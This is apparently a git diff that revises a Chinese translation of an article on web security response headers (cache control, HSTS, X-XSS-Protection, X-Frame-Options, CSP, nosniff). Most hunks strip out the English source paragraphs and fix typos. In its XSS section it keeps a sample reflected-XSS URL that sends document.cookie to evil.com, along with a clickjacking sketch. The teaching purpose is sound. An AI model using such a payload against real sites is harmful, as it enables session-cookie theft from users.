+缓存是优化客户端-服务端架构性能中有效的技术，广泛利用缓存的 HTTP 并不少见。但是，在缓存的资源是保密的情况下，缓存可能导致漏洞，所以必须避免。假设一个 web 应用对含有敏感信息的网页进行缓存，并且是在一台公用的 PC 上使用，任何人可以通过访问浏览器的缓存看到这个 web 应用上的敏感信息，甚至有时仅仅通过点击浏览器的返回按钮就可以看到。
 
-> The IETF’s [RFC 7234](https://tools.ietf.org/html/rfc7234), which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to *always* cache responses to HTTP `GET` requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.
+IETF [RFC 7234](https://tools.ietf.org/html/rfc7234) 上定义了 HTTP 缓存，指定 HTTP 客户端（浏览器以及网络代理）的默认行为，也就是始终缓存对 HTTP GET 请求的响应，除非另行指定。虽然这样可以使 HTTP 提升性能减少网络拥塞，但如上所述，它也有可能使终端用户个人信息被盗。好消息是，HTTP 规范还定义了一种非常简单的方式来指示客户端对特定响应不进行缓存，通过使用 —— 对，你猜到了 —— HTTP 响应头。
 
-IETF 的 [RFC 7234](https://tools.ietf.org/html/rfc7234) 上定义了 HTTP 缓存，指定 HTTP 客户端（浏览器以及网络代理）的默认行为，也就是始终缓存对 HTTP GET 请求的相应，除非另行指定。虽然这样可以使 HTTP 提升性能减少网络拥塞，但如上所述，它也有可能使终端用户个人信息被盗。好消息是，HTTP 规范还廷议了一种非常简单的方式来指示客户端对特定响应不进行缓存，通过使用 —— 对，你猜到了 —— HTTP 响应头。
-
-> There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:
-
-当你返回敏感信息并希望禁用 HTTP 客户端的缓存时，有三个头可以返回：
+当你返回敏感信息并希望禁用 HTTP 客户端的缓存时，有三个响应头可以返回：
 
 - `Cache-Control`
 
-> This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: `cache-control: no-cache, no-store, must-revalidate`. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
-
 从 HTTP 1.1 引入的此响应头可能包含一个或多个指令，每个指令带有特定的缓存语义，指示 HTTP 客户端和代理如何处理有此响应头注释的响应。我推荐如下指定响应头，`cache-control: no-cache, no-store, must-revalidate`。这三个指令基本上可以指示客户端和中间代理不可使用之前缓存的响应，不可存储响应，甚至就算响应被缓存，也必须从源服务器上重新验证。
 
 - `Pragma: no-cache`
 
-> For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the `Cache-Control` header mentioned above. Use `Pragma: no-cache` to ensure that these older clients do not cache your response.
-
-为了与 HTTP 1.0 的向后兼容性，你还需要包含此响应头。有部分客户端，特别是中间代理，可能仍然没有完全支持 HTTP 1.1，所以不能正确处理前面提到的 `Cache-Control` 响应头，所以使用 `Pragma: no-cache` 确保较旧的客户端不缓存你的响应。
+为了向后兼容 HTTP 1.0，你还需要包含此响应头。有部分客户端，特别是中间代理，可能仍然没有完全支持 HTTP 1.1，所以不能正确处理前面提到的 `Cache-Control` 响应头，所以使用 `Pragma: no-cache` 确保较旧的客户端不缓存你的响应。
 
 - `Expires: -1`
 
-> This header specifies a timestamp after which the response is considered stale. By specifying `-1`, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.
-
-此标头指定了该响应过时的时间戳。如果不指定为未来某个真实时间而指定为 `-1`，可以保证客户端立即将此响应视为过时并避免缓存。
-
-> Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading [Jake Archibald’s post](https://jakearchibald.com/2016/caching-best-practices/) on the subject.
+此响应头指定了该响应过时的时间戳。如果不指定为未来某个真实时间而指定为 `-1`，可以保证客户端立即将此响应视为过期并避免缓存。
 
 需要注意的是，禁用缓存提高安全性及保护机密资源的同时，也的确会带来性能上的折损。所以确保仅对实际需要保密性的资源禁用缓存，而不是对任何服务器的响应禁用。想要更深入了解 web 资源缓存的最佳实践，我推荐阅读 [Jake Archibald 的文章](https://jakearchibald.com/2016/caching-best-practices/)。
 
-> Here’s how you would program these headers in Node.js:
-
 下面是 Node.js 中设置响应头的示例代码：
 
 ```javascript
@@ -91,49 +65,29 @@ function requestHandler(req, res) {
 
 ### 强制 HTTPS ###
 
-> Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!
-
-今天，HTTPS 的重要性已经得到了科技界的广泛认可。越来越多的 web 应用配置了安全端点，并将不安全网路重定向到安全端点（即 HTTP 重定向至 HTTPS）。不幸的是，终端用户还未完全理解 HTTPS 的重要性，这种缺乏理解使他们面临着各种中间人攻击（MitM）。典型的用户访问到一个 web 应用时，并不会注意到正在使用的网络协议是安全的（HTTPS）还是不安全的（HTTP）。
-
-> The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.
-
-通过有效的 HTTPS 连接与 web 应用进行交互的重要性怎么说都不算夸大：不安全的连接将用户暴露给各种攻击，这可能导致 cookie 被盗甚至更糟。举个例子，攻击者可以轻易在公共 Wi-Fi 网络下骗过网络帧并提起不使用 HTTPS 的用户的会话 cookie。更糟的情况是，即使用户通过安全连接与 web 永盈进行交互也可能遭受降级攻击，这种攻击试图强制将连接降级到不安全的连接，从而是用户收到中间人攻击。
-
-> How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in [RFC 6797](https://tools.ietf.org/html/rfc6797), HSTS enables a web app to instruct browsers to allow *only* HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.
+今天，HTTPS 的重要性已经得到了科技界的广泛认可。越来越多的 web 应用配置了安全端点，并将不安全网路重定向到安全端点（即 HTTP 重定向至 HTTPS）。不幸的是，终端用户还未完全理解 HTTPS 的重要性，这种缺乏理解使他们面临着各种中间人攻击（MitM）。普通用户访问到一个 web 应用时，并不会注意到正在使用的网络协议是安全的（HTTPS）还是不安全的（HTTP）。
 
-我们如何帮助用户避免这些攻击，并更好地实施 HTTPS 的使用呢？使用 HTTP 严格传输安全头（HSTS）。简单来说，HSTS 确保与源主机间的所有通信都使用 HTTPS。[RFC 6797](https://tools.ietf.org/html/rfc6797) 中说明了，HSTS可以使 web 应用程序指示浏览器仅允许与源主机之间的 HTTPS 连接，将所有不安全的连接内部重定向到安全连接，并自动将所有不安全的资源请求升级为安全请求。
+通过有效的 HTTPS 连接与 web 应用进行交互的重要性怎么说都不算夸大：不安全的连接将用户暴露给各种攻击，这可能导致 cookie 被盗甚至更糟。举个例子，攻击者可以轻易在公共 Wi-Fi 网络下骗过网络帧并提取不使用 HTTPS 的用户的会话 cookie。更糟的情况是，即使用户通过安全连接与 web 应用进行交互也可能遭受降级攻击，这种攻击试图强制将连接降级到不安全的连接，从而使用户收到中间人攻击。
 
-> HSTS directives include the following:
+我们如何帮助用户避免这些攻击，并更好地推行 HTTPS 的使用呢？使用 HTTP 严格传输安全头（HSTS）。简单来说，HSTS 确保与源主机间的所有通信都使用 HTTPS。[RFC 6797](https://tools.ietf.org/html/rfc6797) 中说明了，HSTS可以使 web 应用程序指示浏览器仅允许与源主机之间的 HTTPS 连接，将所有不安全的连接内部重定向到安全连接，并自动将所有不安全的资源请求升级为安全请求。
 
 HSTS 的指令如下：
 
 - `max-age=<number of seconds>`
 
->This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
-
 此项指示浏览器对此域缓存此响应头指定的秒数。这样可以保证长时间的加固安全。
 
 - `includeSubDomains`
 
->This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
-
-此项指示浏览器对当前域的所有子域应用 HSTS，这可以用于覆盖你可能有的所有当前和未来的子域。
+此项指示浏览器对当前域的所有子域应用 HSTS，这可以用于所有当前和未来可能的子域。
 
 - `preload`
 
-> This is a powerful directive that forces browsers to *always* load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with [HSTS Preload List Submission](https://hstspreload.org), a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.
-
-这是一个强大的指令，强制浏览器始终安全加载你的 web 应用程序，即使是第一次收到响应之前加载！这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的。要启用预加载功能，你需要在 Google Chrome 团队维护的网站 [HSTS 预加载列表提交](https://hstspreload.org)注册你的域。
-
-> A word of caution: using the `preload` directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!
-
-注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并带有几个月前的更新。虽然预加载肯定会应用程序的安全性，但也意味着你需要充分确信你的应用程序可以支持仅 HTTPS！
+这是一个强大的指令，强制浏览器**始终**安全加载你的 web 应用程序，即使是第一次收到响应之前加载！这是通过将启用 HSTS 预加载域的列表硬编码到浏览器的代码中实现的。要启用预加载功能，你需要在 Google Chrome 团队维护的网站 [HSTS 预加载列表提交](https://hstspreload.org)注册你的域。
 
-> My recommendation is to use `Strict-Transport-Security: max-age=31536000; includeSubDomains;` which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the `preload` directive, in which case don’t forget to register your website on the preload list as well, as noted above!
+注意谨慎使用 `preload`，因为这意味着它不能轻易撤销，并带有几个月前的更新。虽然预加载肯定会加强应用程序的安全性，但也意味着你需要充分确信你的应用程序可以支持仅 HTTPS！
 
-我推荐的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 处理 HTTPS 限定很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。
-
-> Here’s what implementing HSTS looks like in Node.js:
+我建议的用法是 `Strict-Transport-Security: max-age=31536000; includeSubDomains;`，这样指示了浏览器强制通过 HTTPS 连接到源主机并且有效期为一年。如果你对你的 app 处理 HTTPS 限定很有信心，我也推荐加上 `preload` 指令，当然别忘记去前面提到的预加载列表注册你的网站。
 
 以下是在 Nodes.js 中实现 HSTS 的方法：
 
@@ -145,13 +99,9 @@ function requestHandler(req, res){
 
 ### 启用 XSS 过滤 ###
 
-> In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!
-
-在反射型跨站脚本攻击（reflected XSS）中，攻击者将恶意 JavaScript 代码注入到 HTTP 请求，注入的代码「映射」到响应中，并由浏览器执行，从而使恶意代码在可信任的上下文中执行，访问诸如会话 cookie 的潜在机密信息。不幸的是，XSS 是一个很常见的网络应用程序，且令人惊讶地有效！
-
->To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:
+在反射型跨站脚本攻击（reflected XSS）中，攻击者将恶意 JavaScript 代码注入到 HTTP 请求，注入的代码「映射」到响应中，并由浏览器执行，从而使恶意代码在可信任的上下文中执行，访问诸如会话 cookie 中的潜在机密信息。不幸的是，XSS 是一个很常见的网络应用攻击，且令人惊讶地有效！
 
-为了了解反射型 XSS 攻击，参考以下 Node.js 代码，渲染 `mywebapp.com` 一个模拟并有意简单的 web 应用程序，它将搜索结果以及用户请求的搜索关键词一起呈现：
+为了了解反射型 XSS 攻击，参考以下 Node.js 代码，渲染 `mywebapp.com`，模拟一个简单的 web 应用程序，它将搜索结果以及用户请求的搜索关键词一起呈现：
 
 ```javascript
 function handleRequest(req, res) {
@@ -173,25 +123,19 @@ function handleRequest(req, res) {
 };
 ```
 
->Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:
-
 现在，来考虑一下上面的 web 应用程序会如何处理在 URL 中嵌入的恶意可执行代码，例如：
 
 ```
 https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
 ```
 
-> As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!
-
 你可能意识到了，这个 URL 会让浏览器执行注入的脚本，并发送用户的 cookies，极有可能包含机密的会话 cookie，至 evil.com。
 
-> To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.
-
-为了帮助保护用户抵抗反射型 XSS 攻击，有些浏览器实施了保护机制。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击。Internet Explorer 是第一个推出这种机制的，在 2008 年的 IE 8 中引入了 XSS 过滤器的机制，而 WebKit 后来推出了 XSS 审计，现今在 Chrome 和 Safari 上可用。（Firefox 没有内置类似的机制，但是用户可以使用插件来获得此功能）。这些保护机制并不完美，它们可能无法检测到真正的 XSS 攻击（漏报），在其他情况可能会阻止合法代码（误判）。由于后一种情况的出现，浏览器允许用户可设置禁用 XSS 过滤功能。不幸的是，这通常是一个全局设置，这会完全关闭所有浏览器加载的 web 应用程序的安全功能。
+为了保护用户抵抗反射型 XSS 攻击，有些浏览器实施了保护机制。这些保护机制尝试通过在 HTTP 请求和响应中寻找匹配的代码模式来辨识这些攻击。Internet Explorer 是第一个推出这种机制的，在 2008 年的 IE 8 中引入了 XSS 过滤器的机制，而 WebKit 后来推出了 XSS 审计，现今在 Chrome 和 Safari 上可用（Firefox 没有内置类似的机制，但是用户可以使用插件来获得此功能）。这些保护机制并不完美，它们可能无法检测到真正的 XSS 攻击（漏报），在其他情况可能会阻止合法代码（误判）。由于后一种情况的出现，浏览器允许用户可设置禁用 XSS 过滤功能。不幸的是，这通常是一个全局设置，这会完全关闭所有浏览器加载的 web 应用程序的安全功能。
 
 > Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the `X-XSS-Protection` header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
 
-幸运的是，有方法可以让 web 应用程序覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。这是通过设定 `X-XSS-Protection` 响应头来达到的。此响应头支持 Internet Explorer （8以上）、Edge、Chrome 和 Safar，指示浏览器打开或关闭浏览器内置的保护机制，及覆盖浏览器的本地配置。
+幸运的是，有方法可以让 web 应用覆盖此配置，并确保浏览器加载的 web 应用已打开 XSS 过滤器。这是通过设定 `X-XSS-Protection` 响应头来达到的。此响应头支持 Internet Explorer （8以上）、Edge、Chrome 和 Safari，指示浏览器打开或关闭内置的保护机制，及覆盖浏览器的本地配置。
 
 `X-XSS-Protection` 指令包括:
 
@@ -200,13 +144,11 @@ https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cooki
 使用或禁用 CSS 过滤器。
 - `mode=block`
 
-> This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.
-
 当检测到 XSS 攻击时，这会指示浏览器不渲染整个页面。
 
 > I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
 
-我推荐永远打开 XSS 过滤器以及 block 模式，以求最大化保护用户。这样的响应头应该是这样的：
+我建议永远打开 XSS 过滤器以及 block 模式，以求最大化保护用户。这样的响应头应该是这样的：
 
 ```
 X-XSS-Protection: 1; mode=block
@@ -219,15 +161,11 @@ functionrequestHandler(req, res){
 	res.setHeader('X-XSS-Protection','1;mode=block');}
 ```
 
-### Controlling Framing 控制 iframe ###
-
-> An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.
-
-iframe （正式来说，是一个 HTML 的行内框架元素）是一个 DOM 元素，它允许一个 web 应用嵌套在另一个 web 应用中。这个强大的元素有部分重要的使用场景，比如在 web 应用中嵌入第三方内容， 但它也有重大的缺点，例如对 SEO 不友好，对浏览器导航跳转也不友好，还有很多。
+### 控制 iframe ###
 
-> One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!
+iframe （正式来说，是 HTML 内联框架元素）是一个 DOM 元素，它允许一个 web 应用嵌套在另一个 web 应用中。这个强大的元素有部分重要的使用场景，比如在 web 应用中嵌入第三方内容，但它也有重大的缺点，例如对 SEO 不友好，对浏览器导航跳转也不友好，还有很多。
 
-其中一个需要注意的事是它是的点击劫持变得更加容易。点击劫持是一种让用户点击与他们想要点击的不同的攻击。要理解一个简单的劫持实现，参考以下 HTML，当用户认为他们点击可以获得奖品时，实际上是试图欺骗用户购买面包机。
+其中一个需要注意的事是它使得点击劫持变得更加容易。点击劫持是一种诱使用户点击并非他们想要点击的目标的攻击。要理解一个简单的劫持实现，参考以下 HTML，当用户认为他们点击可以获得奖品时，实际上是试图欺骗用户购买面包机。
 
 ```html
 <html>
@@ -238,17 +176,11 @@ iframe （正式来说，是一个 HTML 的行内框架元素）是一个 DOM 
 </html>
 ```
 
-> Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the `opacity: 0` CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.
-
 点击劫持有许多恶意应用程序，例如欺骗用户确认 Facebook 点赞，在线购买商品，甚至提交机密信息。恶意 web 应用程序可以通过在其恶意应用中嵌入合法的 web 应用来利用 iframe 进行点击劫持，这可以通过设置 `opacity: 0` 的 CSS 规则将其隐藏，并将 iframe 的点击目标直接放置在看起来无辜的按钮之上。点击了这个无辜按钮的用户会直接点击在嵌入的 web 应用上，并不知道点击后的作用。
 
-> An effective way to block this attack is by restricting your web app from being framed. `X-Frame-Options`, specified in [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt), is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the `DENY` directive, whitelist specific domains using the `ALLOW-FROM` directive, or whitelist only the web app’s origin using the `SAMEORIGIN` directive.
-
-阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。`X-Frame-Options`，在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入，就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制，从而阻止恶意网页欺骗用户调用你的应用程序上的各种事务。你可以使用 `DENY` 完全屏蔽，或者使用 `ALLOW-FROM` 指定将特定域列入白名单，也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。
+阻止这种攻击的一种有效的方法是限制你的 web 应用被框架化。`X-Frame-Options`，在 [RFC 7034](https://www.ietf.org/rfc/rfc7034.txt) 中引入，就是设计用来做这件事的。此响应头指示浏览器对你的 web 应用是否可以被嵌入另一个网页进行限制，从而阻止恶意网页欺骗用户调用你的应用程序进行各项操作。你可以使用 `DENY` 完全屏蔽，或者使用 `ALLOW-FROM` 指定将特定域列入白名单，也可以使用 `SAMEORIGIN` 指令将应用的源地址列入白名单。
 
-> My recommendation is to use the `SAMEORIGIN` directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:
-
-我的建议是使用 `SAMEORIGIN` 指令，因为它允许 iframe 被用于同一域上的可以保证安全性的应用程序，这有时是有用的。
+我的建议是使用 `SAMEORIGIN` 指令，因为它允许 iframe 被用于同一域上的可以保证安全性的应用程序，这有时是有用的。以下是响应头的示例：
 
 ```
 X-Frame-Options: SAMEORIGIN
@@ -263,27 +195,15 @@ functionrequestHandler(req, res){
 
 ### 指定白名单资源 ###
 
-> As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.
-
 如前所述，你可以通过启用浏览器的 XSS 过滤器，给你的 web 应用程序增强安全性。然而请注意，这种机制是有局限性的，不是所有浏览器都支持（例如 Firefox 就不支持 XSS 过滤），并且依赖的模式匹配技术可以被欺骗。
 
-> Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.
-
 对抗 XSS 和其他攻击的更多一层的保护，可以通过明确列出可信来源和操作来实现 —— 这就是内容安全策略（CSP）。
 
-> CSP is a [W3C specification](https://www.w3.org/TR/2016/WD-CSP3-20160901/) that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious `eval`) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.
-
-CSP 是一种 W3C 规范，它定义了强大的基于浏览器的安全机制，可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行例如脚本加载、AJAX 调用、图像加载和样式加载。你可以启用或禁用内嵌脚本或动态脚本（臭名昭著的 `eval`），并通过将特定域列入白名单来控制 iframe。CSP 的另一个很酷的功能是它允许配置实时报告目标，一遍实时监控应用程序进行 CSP 阻止操作。
-
-> This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.
-
-这种对资源加载和脚本执行的明确的白名单提供了很强的安全性，在很多情况下都可以防范攻击。例如，使用 CSP 禁止内嵌脚本，你可以防范很多反射型 XSS 攻击，因为它们依赖于将内嵌脚本注入到 DOM。
+CSP 是一种 W3C 规范，它定义了强大的基于浏览器的安全机制，可以对 web 应用中的资源加载以及脚本执行进行精细的控制。使用 CSP 可以将特定的域加入白名单进行例如脚本加载、AJAX 调用、图像加载和样式加载。你可以启用或禁用内联脚本或动态脚本（臭名昭著的 `eval`），并通过将特定域列入白名单来控制框架化。CSP 的另一个很酷的功能是它允许配置实时报告目标，以便实时监控应用程序进行 CSP 阻止操作。
 
-> CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a [great tutorial](https://www.html5rocks.com/en/tutorials/security/content-security-policy/) that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.
+这种对资源加载和脚本执行的明确的白名单提供了很强的安全性，在很多情况下都可以防范攻击。例如，使用 CSP 禁止内联脚本，你可以防范很多反射型 XSS 攻击，因为它们依赖于将内联脚本注入到 DOM。
 
-CSP 是一个相对复杂的响应头，它有很多种指令，在这里我不详细展开了，可以参考 HTML5 Rocks 里一篇很棒的[教程](https://www.html5rocks.com/en/tutorials/security/content-security-policy/)，提供了 CSP 的概述，我非常推荐阅读它来学习如何在你的 web 应用中使用 CSP。
-
-> Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (`eval`) and inline scripts (as usual, on Node.js):
+CSP 是一个相对复杂的响应头，它有很多种指令，在这里我不详细展开了，可以参考 HTML5 Rocks 里一篇很棒的[教程](https://www.html5rocks.com/en/tutorials/security/content-security-policy/)，其中提供了 CSP 的概述，我非常推荐阅读它来学习如何在你的 web 应用中使用 CSP。
 
 以下是一个设置 CSP 的示例代码，它仅允许从应用程序的源域加载脚本，并组织动态脚本的执行（eval）以及内嵌脚本（当然，还是 Node.js):
 
@@ -294,16 +214,10 @@ functionrequestHandler(req, res){
 
 ### 防止 Content-Type 嗅探 ###
 
-> In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the `Content-Type` response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.
-
-为了使用户体验尽可能无缝连接，许多浏览器实现了一个功能叫 内容类型嗅探，或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型，无论在响应头中 `Content-Type` 是如何指定资源类型的。虽然这个功能在某些情况下确实是有用的，它引入了一个漏洞以及一种叫 MIME 混乱攻击。MIME 嗅探漏洞使攻击者可以注入恶意资源，例如恶意脚本，伪装成一个无辜的资源，例如一个图片。通过 MIME 嗅探，浏览器将忽略声明的图像内容类型，它不会渲染图片，而是执行恶意脚本。
-
-> Luckily, the `X-Content-Type-Options` response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because `X-Content-Type-Options` was only formally specified as part of the [“Fetch” specification](https://fetch.spec.whatwg.org/#x-content-type-options-header), the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.
+为了使用户体验尽可能无缝，许多浏览器实现了一个功能叫内容类型嗅探，或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型，无论在响应头中 `Content-Type` 是如何指定资源类型的。虽然这个功能在某些情况下确实是有用的，它引入了一个漏洞以及一种叫 MIME 混乱攻击的攻击手法。MIME 嗅探漏洞使攻击者可以注入恶意资源，例如恶意脚本，伪装成一个无辜的资源，例如一个图片。通过 MIME 嗅探，浏览器将忽略声明的图像内容类型，它不会渲染图片，而是执行恶意脚本。
 
 幸运的是，`X-Content-Type-Options` 响应头缓解了这个漏洞。此响应头在 2008 年引入 IE8，目前大多数主流浏览器都支持（Safari 是唯一不支持的主流浏览器），它指示浏览器在处理获取的资源时不使用嗅探。因为 `X-Content-Type-Options` 仅在 [「Fetch」规范](https://fetch.spec.whatwg.org/#x-content-type-options-header)中正式指定，实际的实现因浏览器而异。一部分浏览器（IE 和 Edge）完全阻止了 MIME 嗅探，而其他一些（Firefox）仍然会进行 MIME 嗅探，但会屏蔽掉可执行的资源（JavaScript 和 CSS）如果声明的内容类型与实际的类型不一致。后者符合最新的 Fetch 规范。
 
-> `X-Content-Type-Options` is a simple response header, with only one directive: `nosniff`. This header looks like this: `X-Content-Type-Options: nosniff`. Here’s an example of a configuration of the header:
-
 `X-Content-Type-Options` 是一个很简单的响应头，它只有一个指令，`nosniff`。它是这样指定的：`X-Content-Type-Options: nosniff`。以下是示例代码：
 
 ```javascript
@@ -313,8 +227,6 @@ functionrequestHandler(req, res){
 
 ### 总结 ###
 
-> In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.
-
 本文中，我们了解了如何利用 HTTP 响应头来加强 web 应用的安全性，防止攻击和减轻漏洞。
 
 #### 要点 ####

From 05e4ab9287baea640f5a9bdff2fa56adf3275286 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Sat, 15 Apr 2017 23:48:18 +0800
Subject: [PATCH 172/638] fix

---
 TODO/reduce-composing-software.md | 30 ++++++++++++++----------------
 1 file changed, 14 insertions(+), 16 deletions(-)

diff --git a/TODO/reduce-composing-software.md b/TODO/reduce-composing-software.md
index 2c42b1116aa..e5397387cc4 100644
--- a/TODO/reduce-composing-software.md
+++ b/TODO/reduce-composing-software.md
@@ -2,7 +2,7 @@
